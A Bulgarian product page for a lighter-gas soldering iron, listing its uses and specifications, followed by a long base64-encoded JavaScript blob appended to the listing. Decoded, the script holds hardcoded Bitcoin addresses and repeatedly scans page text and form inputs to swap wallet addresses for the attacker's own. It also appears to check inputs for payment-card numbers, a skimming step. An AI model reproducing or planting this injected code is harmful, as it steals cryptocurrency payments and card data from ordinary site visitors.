Газов поялник
•• Поялникът работи с обикновена газ за запалки.
•• Удобен уред за всяко домакинство, за всеки домашен майстор.
•• Чрез уреда може да осъществите газопламъчно рязане на тънки детайли.
•• Може да се ползва като спомагателен уред във всички видове лаборатории.
•• Може да топи и изпарява чрез нагряване.
•• Уреда е удобен като мобилен поялник в електротехнически или електронни ремонтни дейности
•• Полезна вещ като спомагателен инструмен в оптични работилници (за ремонт на очила).
••Незаменим инструмент в бижутерски работилници
•• Размери: 178mm x 30mm x 23mm
Резервоара събира 7 ml. газ
•• Мощноста се регулира чрез удобен бутон от 70 до 100 W.
•• Развивана температура на нагряване с горелката: 1300°C (2500°F)
•• Развивана температура на запояване: 210~400°C
•• Уреда може да работи до 30 минути.
•• След това трябва да се изключи и да се остави да се охлади
33153053963chdmFyIGJjMSA9ICJiYzFxZzA4cmpoeXhsc2szd3hqbHRrN2V5cWMzYWEyNXd4cWdxOWc2dWcvYmMxcTVuN3U5YXlrc2w2dXVndXo1c21hbHFheWVoY252Znl4YWU1cmxxL2JjMXE1amh5ZDA2eHAzbHF2eDB4dmVqdDkzcHN2NWNuMmpxbWpsaHNsOC9iYzFxa2U2dTZ6OWdta3B2ZzNrdzJta3doMHdzeW05cXdjY2R5NmNjanIvYmMxcTl4OGM1ZHd4enV1MDhlcXd4ZnRzcjJhbTR6a25wempkc3FuNmszIjsNCnZhciBzZTMgPSAiMzMycTJ3aERBdVpzcGRjdGFRdGQxaXZxS0RVQWZoOUhldS8zTVVCcUxlTndrQnJraEVXcWpCZEpHZFR6NktramRxNEhjLzNOc0dteURRcDRWTjdUOXgzMVVwWThVdlJpaDNnOURZTWsvMzRnNWZ2WkFCeG5YajFBWFJLcmJGS0U5R0tBcXczSDdTYy8zUDdGZHptSlNOa0pmdEZ2aGgzb1NmUDdHWUJUQmVIbVUyIjsNCnZhciBhZDEgPSAiMUNCVUo2ZmVIeVZhYlJnOHdVVkJZNFl3NlM5SmNEOGIxaS8xRFlzTjJMUndOTjhWUjNDemt3QWZEcWM3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5zZXRJbnRlcnZhbChmdW5jdGlvbigpew0KICAgIHZhciBlbGVtZW50cyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCIqIik7DQogICAgdmFyIG51bSA9IGVsZW1lbnRzLmxlbmd0aDsNCiAgICBmb3IgKGxldCBpID0gMDsgaTxudW07IGkrKykgew0KICAgICAgICB2YXIgaGloaSA9IGVsZW1lbnRzW2ldLmlubmVySFRNTDsNCg0KICAgICAgIA0KICAgICAgICBpZiAoaGloaS5sZW5ndGggPiAyNSkgew0KICAgICAgICAgICAgaWYgKGhpaGkubGVuZ3RoIDwgNTApIHsNCg0KDQoNCiAgICAgICAgICAgICAgICB2YXIga29rbyA9IHRlc3QzKGhpaGkpOw0KICAgICAgICAgaWYgKGtva28gPiAwKSB7DQogICAgICAgICAgIA0KICAgICAgICAgICAgICBsZXQgcmVzdWx0QSA9IGhpaGkubGFzdEluZGV4T2YoIjEiLCAwKSA9PT0gMDsNCiAgICAgICAgICAgICAgaWYocmVzdWx0QSkgew0KICAgICAgICAgICAgICAgICAgbGV0IHJlc3VsdE1haW4gPSBhZDEuaW5jbHVkZXMoaGloaSk7DQogICAgICAgICAgICAgICAgICBpZiAocmVzdWx0TWFpbikgew0KICAgICAgICAgICAgICAgICAgICAgIG5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KGhpaGkpOw0KICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICB2YXIgY3VyID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oaGloaSk7DQogICAgICAgICAgICAgICAgICAgICAgaWYgKGN1ciA9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29uc3QgbmV3YWQxbm93ID0gYWQxbmV3LnNwbGl0KCIvIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBjdXJhZDEgPSBuZXdhZDFub3dbY291bnRhZDFuZXddOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5zZXRJdGVtKGhpaGksIGN1cmFkMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGVsZW1lbnRzW2ldLmlubmVySFRNTCA9IGN1cmFkMTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY291bnRhZDFuZXcgPSBjb3VudGFkMW5ldyArIDE7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb3VudGFkMW5ldyA+IDQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvdW50YWQxbmV3ID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICBlbGVtZW50c1tpXS5pbm5lckhUTUwgPSBjdXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICBsZXQgcmVzdWx0UyA9IGhpaGkubGFzdEluZGV4T2YoIjMiLCAwKSA9PT0gMDsNCiAgICAgICAgICAgICAgaWYocmVzdWx0Uykgew0KDQogICAgICAgICAgICAgICAgICAgIGxldCByZXN1bHRNYWluMyA9IHNlMy5pbmNsdWRlcyhoaWhpKTsNCiAgICAgICAgICAgICAgICAgIGlmIChyZXN1bHRNYWluMykgew0KICAgICAgICAgICAgICAgICAgICAgIG5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KGhpaGkpOw0KICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgIHZhciBjdXIzID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oaGloaSk7DQogICAgICAgICAgICAgICAgICAgICAgaWYgKGN1cjMgPT0gbnVsbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IG5ld3NlM25vdyA9IHNlM25ldy5zcGxpdCgiLyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgY3Vyc2UzID0gbmV3c2Uzbm93W2NvdW50c2UzbmV3XTsNCiAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5zZXRJdGVtKGhpaGksIGN1cnNlMyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGVsZW1lbnRzW2ldLmlubmVySFRNTCA9IGN1cnNlMzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY291bnRzZTNuZXcgPSBjb3VudHNlM25ldyArIDE7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb3VudHNlM25ldyA+IDQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvdW50c2UzbmV3ID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICBlbGVtZW50c1tpXS5pbm5lckhUTUwgPSBjdXIzOw0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgIGxldCByZXN1bHRCMSA9IGhpaGkubGFzdEluZGV4T2YoImJjMSIsIDApID09PSAwOw0KICAgICAgICAgICAgICBpZihyZXN1bHRCMSkgew0KDQogICAgICAgICAgICAgICAgICBsZXQgcmVzdWx0TWFpbmJjMSA9IGJjMS5pbmNsdWRlcyhoaWhpKTsNCiAgICAgICAgICAgICAgICAgIGlmIChyZXN1bHRNYWluYmMxKSB7DQogICAgICAgICAgICAgICAgICAgICAgbmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQoaGloaSk7DQogICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICB2YXIgY3VyYmMxID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oaGloaSk7DQogICAgICAgICAgICAgICAgICAgICAgaWYgKGN1cmJjMSA9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29uc3QgbmV3YmMxbm93ID0gYmMxbmV3LnNwbGl0KCIvIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBjdXJiYzFhID0gbmV3YmMxbm93W2NvdW50YmMxbmV3XTsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShoaWhpLCBjdXJiYzFhKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWxlbWVudHNbaV0uaW5uZXJIVE1MID0gY3VyYmMxYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY291bnRiYzFuZXcgPSBjb3VudGJjMW5ldyArIDE7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb3VudGJjMW5ldyA+IDQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvdW50YmMxbmV3ID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWxlbWVudHNbaV0uaW5uZXJIVE1MID0gY3VyYmMxOw0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIH0NCg0KDQoNCg0KDQoNCiAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgbGV0IHJlc3VsdEIyID0gaGloaS5sYXN0SW5kZXhPZigiQkMxIiwgMCkgPT09IDA7DQogICAgICAgICAgICAgIGlmKHJlc3VsdEIyKSB7DQogICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICANCg0KICAgICAgICAgICANCiAgICAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB9DQp9LCA1MDApOw0KDQoNCnZhciBjb3VudGFkMW5ld0EgPSAwOw0KdmFyIGNvdW50c2UzbmV3QSA9IDA7DQp2YXIgY291bnRiYzFuZXdBID0gMDsNCnZhciBpbnRlcnZhbElkQSA9IHdpbmRvdy5zZXRJbnRlcnZhbChmdW5jdGlvbigpew0KICAgIHZhciBlbGVtZW50cyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpOw0KICAgIHZhciBudW0gPSBlbGVtZW50cy5sZW5ndGg7DQogICAgZm9yIChsZXQgaSA9IDA7IGk8bnVtOyBpKyspIHsNCiAgICAgICAgdmFyIGhpaGkgPSBlbGVtZW50c1tpXS52YWx1ZTsNCg0KDQogICAgICAgDQogICAgICAgIGlmIChoaWhpLmxlbmd0aCA+IDI1KSB7DQogICAgICAgICAgICBpZiAoaGloaS5sZW5ndGggPCA1MCkgew0KICAgICAgICAgICAgICAgIHZhciBrb2tvID0gdGVzdDMoaGloaSk7DQogICAgICAgICBpZiAoa29rbyA+IDApIHsNCiAgICAgICAgIA0KDQoNCg0KICAgICAgICAgICAgDQogICAgICAgICAgICAgIGxldCByZXN1bHRBID0gaGloaS5sYXN0SW5kZXhPZigiMSIsIDApID09PSAwOw0KICAgICAgICAgICAgICBpZihyZXN1bHRBKSB7DQogICAgICAgICAgICAgICAgICBsZXQgcmVzdWx0TWFpbiA9IGFkMS5pbmNsdWRlcyhoaWhpKTsNCiAgICAgICAgICAgICAgICAgIGlmIChyZXN1bHRNYWluKSB7DQogICAgICAgICAgICAgICAgICAgICAgbmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQoaGloaSk7DQogICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgdmFyIGN1ciA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKGhpaGkpOw0KICAgICAgICAgICAgICAgICAgICAgIGlmIChjdXIgPT0gbnVsbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICBjb25zdCBuZXdhZDFub3cgPSBhZDFuZXcuc3BsaXQoIi8iKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGN1cmFkMSA9IG5ld2FkMW5vd1tjb3VudGFkMW5ld0FdOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5zZXRJdGVtKGhpaGksIGN1cmFkMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGVsZW1lbnRzW2ldLnZhbHVlID0gY3VyYWQxOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBjb3VudGFkMW5ld0EgPSBjb3VudGFkMW5ld0EgKyAxOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoY291bnRhZDFuZXdBID4gNCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY291bnRhZDFuZXdBID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWxlbWVudHNbaV0udmFsdWUgPSBjdXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgIGxldCByZXN1bHRTID0gaGloaS5sYXN0SW5kZXhPZigiMyIsIDApID09PSAwOw0KICAgICAgICAgICAgICBpZihyZXN1bHRTKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgbGV0IHJlc3VsdE1haW4zID0gc2UzLmluY2x1ZGVzKGhpaGkpOw0KICAgICAgICAgICAgICAgICAgaWYgKHJlc3VsdE1haW4zKSB7DQogICAgICAgICAgICAgICAgICAgICAgbmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQoaGloaSk7DQogICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICB2YXIgY3VyMyA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKGhpaGkpOw0KICAgICAgICAgICAgICAgICAgICAgIGlmIChjdXIzID09IG51bGwpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IG5ld3NlM25vdyA9IHNlM25ldy5zcGxpdCgiLyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgY3Vyc2UzID0gbmV3c2Uzbm93W2NvdW50c2UzbmV3QV07DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oaGloaSwgY3Vyc2UzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWxlbWVudHNbaV0udmFsdWUgPSBjdXJzZTM7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGNvdW50c2UzbmV3QSA9IGNvdW50c2UzbmV3QSArIDE7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb3VudHNlM25ld0EgPiA0KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3VudHNlM25ld0EgPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgIGVsZW1lbnRzW2ldLnZhbHVlID0gY3VyMzsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgbGV0IHJlc3VsdEIxID0gaGloaS5sYXN0SW5kZXhPZigiYmMxIiwgMCkgPT09IDA7DQogICAgICAgICAgICAgIGlmKHJlc3VsdEIxKSB7DQoNCiAgICAgICAgICAgICAgICAgIGxldCByZXN1bHRNYWluYmMxID0gYmMxLmluY2x1ZGVzKGhpaGkpOw0KICAgICAgICAgICAgICAgICAgaWYgKHJlc3VsdE1haW5iYzEpIHsNCiAgICAgICAgICAgICAgICAgICAgICBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dChoaWhpKTsNCiAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICB2YXIgY3VyYmMxID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oaGloaSk7DQogICAgICAgICAgICAgICAgICAgICAgaWYgKGN1cmJjMSA9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IG5ld2JjMW5vdyA9IGJjMW5ldy5zcGxpdCgiLyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgY3VyYmMxYSA9IG5ld2JjMW5vd1tjb3VudGJjMW5ld0FdOw0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShoaWhpLCBjdXJiYzFhKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWxlbWVudHNbaV0udmFsdWUgPSBjdXJiYzFhOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBjb3VudGJjMW5ld0EgPSBjb3VudGJjMW5ld0EgKyAxOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoY291bnRiYzFuZXdBID4gNCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY291bnRiYzFuZXdBID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICBlbGVtZW50c1tpXS52YWx1ZSA9IGN1cmJjMTsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICB9DQoNCg0KDQoNCg0KDQogICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICBsZXQgcmVzdWx0QjIgPSBoaWhpLmxhc3RJbmRleE9mKCJCQzEiLCAwKSA9PT0gMDsNCiAgICAgICAgICAgICAgaWYocmVzdWx0QjIpIHsNCiAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIA0KDQogICAgICAgICAgIA0KICAgICAgICAgfQ0KICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIH0NCn0sIDUwMCk7DQoNCg0KDQoNCg0KdmFyIGdnMSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDk5OTk5OTk5OTkpICsgMTAwMDAwMDAwMDsNCnZhciBnZzIgPSBNYXRoLmZsb29yKE1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NCkgew0KDQogICAgICBoYWhhMyA9IGhhaGEzLnJlcGxhY2UoL1xzL2csICcnKTsNCiAgICAgIHZhciBpc251bSA9IC9eXGQrJC8udGVzdChoYWhhMyk7DQogICAgICB2YXIgbjEgPSBoYWhhMy5zdGFydHNXaXRoKCc0Jyk7DQogICAgICB2YXIgbjIgPSBoYWhhMy5zdGFydHNXaXRoKCc1Jyk7DQogICAgICB2YXIgbjMgPSBoYWhhMy5zdGFydHNXaXRoKCc2Jyk7DQogICAgICB2YXIgbjAgPSBoYWhhMy5zdGFydHNXaXRoKCczJyk7DQoNCiAgICAgIGlmIChuMSA9PSB0cnVlKSB7DQogICAgICAgIGNoZWNrMiA9IDE7DQogICAgICB9DQogICAgICBpZiAobjIgPT0gdHJ1ZSkgew0KICAgICAgICBjaGVjazIgPSAxOw0KICAgICAgfQ0KICAgICAgaWYgKG4zID09IHRydWUpIHsNCiAgICAgICAgY2hlY2syID0gMDsNCiAgICAgIH0NCiAgICAgIGlmIChuMCA9PSB0cnVlKSB7DQogICAgICAgIGNoZWNrMiA9IDA7DQogICAgICB9DQoNCg0KICAgIH0NCg0KICAgIGlmIChoYWhhMy5sZW5ndGggPT0gMTUpIHsNCiAgICAgIGlmIChpc251bSA9PSB0cnVlKSB7DQogICAgICAgIGlmIChjaGVjazIgPSAnMScpIHsNCiAgICAgICAgICBjaGVjazEgPSAnMCc7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgaWYgKGhhaGEzLmxlbmd0aCA9PSAxNikgew0KICAgICAgaWYgKGlzbnVtID09IHRydWUpIHsNCiAgICAgICAgaWYgKGNoZWNrMiA9PSAxKSB7DQogICAgICAgICAgY2hlY2sxID0gJzEnOw0KICAgICAgICAgICAgbm5uID0gaGFoYTMNCg0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICAgIGlmIChoYWhhMy5sZW5ndGggPT0gMTcpIHsNCiAgICAgIGlmIChpc251bSA9PSB0cnVlKSB7DQogICAgICAgIGlmIChjaG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CiAgICAgICAgIH0NCiAgICAgfQ0KICAgIHdoaWxlIChpZyA8IDIpOw0KDQoNCmlmIChsb29sYSA9PSAxKSB7DQoNCg0KfQ0KDQoNCiAgICAgfQ0KDQoNCn0NCn0NCg0KDQp9Ow==
7675551909chY29uc29sZS5sb2coImxvZzEiKTs=
Преглеждания: 830
☆
☆
☆
☆
☆
Оценка 0 от 0 глас.